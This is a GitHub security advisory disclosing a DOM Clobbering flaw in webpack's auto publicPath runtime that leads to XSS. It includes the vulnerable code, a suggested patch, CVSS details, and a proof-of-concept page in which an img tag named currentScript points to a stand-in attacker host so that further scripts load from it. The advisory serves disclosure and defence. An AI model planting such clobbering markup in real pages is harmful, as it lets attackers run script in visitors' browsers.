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Webpack's AutoPublicPathRuntimeModule has a DOM Clobbering Gadget that leads to XSS

Moderate severity GitHub Reviewed Published Aug 27, 2024 in webpack/webpack • Updated Sep 3, 2024

Package

npm webpack (npm)

Affected versions

>= 5.0.0-alpha.0, < 5.94.0

Patched versions

5.94.0

Description

Summary

We discovered a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

We found the real-world exploitation of this gadget in the Canvas LMS which allows XSS attack happens through an javascript code compiled by Webpack (the vulnerable part is from Webpack). We believe this is a severe issue. If Webpack’s code is not resilient to DOM Clobbering attacks, it could lead to significant security vulnerabilities in any web application using Webpack-compiled code.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Webpack

We identified a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule. When the output.publicPath field in the configuration is not set or is set to auto, the following code is generated in the bundle to dynamically resolve and load additional JavaScript files:

/******/ 	/* webpack/runtime/publicPath */
/******/ 	(() => {
/******/ 		var scriptUrl;
/******/ 		if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + "";
/******/ 		var document = __webpack_require__.g.document;
/******/ 		if (!scriptUrl && document) {
/******/ 			if (document.currentScript)
/******/ 				scriptUrl = document.currentScript.src;
/******/ 			if (!scriptUrl) {
/******/ 				var scripts = document.getElementsByTagName("script");
/******/ 				if(scripts.length) {
/******/ 					var i = scripts.length - 1;
/******/ 					while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src;
/******/ 				}
/******/ 			}
/******/ 		}
/******/ 		// When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration
/******/ 		// or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic.
/******/ 		if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser");
/******/ 		scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/");
/******/ 		__webpack_require__.p = scriptUrl;
/******/ 	})();

However, this code is vulnerable to a DOM Clobbering attack. The lookup on the line with document.currentScript can be shadowed by an attacker, causing it to return an attacker-controlled HTML element instead of the current script element as intended. In such a scenario, the src attribute of the attacker-controlled element will be used as the scriptUrl and assigned to __webpack_require__.p. If additional scripts are loaded from the server, __webpack_require__.p will be used as the base URL, pointing to the attacker's domain. This could lead to arbitrary script loading from the attacker's server, resulting in severe security risks.

PoC

Please note that we have identified a real-world exploitation of this vulnerability in the Canvas LMS. Once the issue has been patched, I am willing to share more details on the exploitation. For now, I’m providing a demo to illustrate the concept.

Consider a website developer with the following two scripts, entry.js and import1.js, that are compiled using Webpack:

// entry.js
import('./import1.js')
  .then(module => {
    module.hello();
  })
  .catch(err => {
    console.error('Failed to load module', err);
  });

// import1.js
export function hello () {
  console.log('Hello');
}

The webpack.config.js is set up as follows:

const path = require('path');

module.exports = {
  entry: './entry.js', // Ensure the correct path to your entry file
  output: {
    filename: 'webpack-gadgets.bundle.js', // Output bundle file
    path: path.resolve(__dirname, 'dist'), // Output directory
    publicPath: "auto", // Or leave this field not set
  },
  target: 'web',
  mode: 'development',
};

When the developer builds these scripts into a bundle and adds it to a webpage, the page could load the import1.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>Webpack Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script src="./dist/webpack-gadgets.bundle.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can lead to cross-site scripting (XSS) on websites that include Webpack-generated files and allow users to inject certain scriptless HTML tags with improperly sanitized name or id attributes.

Patch

A possible patch to this vulnerability could refer to the Google Closure project which makes itself resistant to DOM Clobbering attack: https://github.com/google/closure-library/blob/b312823ec5f84239ff1db7526f4a75cba0420a33/closure/goog/base.js#L174

/******/ 	/* webpack/runtime/publicPath */
/******/ 	(() => {
/******/ 		var scriptUrl;
/******/ 		if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + "";
/******/ 		var document = __webpack_require__.g.document;
/******/ 		if (!scriptUrl && document) {
/******/ 			if (document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT') // Assume attacker cannot control script tag, otherwise it is XSS already :>
/******/ 				scriptUrl = document.currentScript.src;
/******/ 			if (!scriptUrl) {
/******/ 				var scripts = document.getElementsByTagName("script");
/******/ 				if(scripts.length) {
/******/ 					var i = scripts.length - 1;
/******/ 					while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src;
/******/ 				}
/******/ 			}
/******/ 		}
/******/ 		// When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration
/******/ 		// or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic.
/******/ 		if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser");
/******/ 		scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/");
/******/ 		__webpack_require__.p = scriptUrl;
/******/ 	})();

Please note that if we do not receive a response from the development team within three months, we will disclose this vulnerability to the CVE agent.

References

@alexander-akait alexander-akait published to webpack/webpack Aug 27, 2024
Published by the National Vulnerability Database Aug 27, 2024
Published to the GitHub Advisory Database Aug 27, 2024
Reviewed Aug 27, 2024
Last updated Sep 3, 2024

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality Low
Integrity Low
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N

EPSS score

0.059%
(27th percentile)

Weaknesses

CVE ID

CVE-2024-43788

GHSA ID

GHSA-4vvj-4cpr-p986

Source code

Credits

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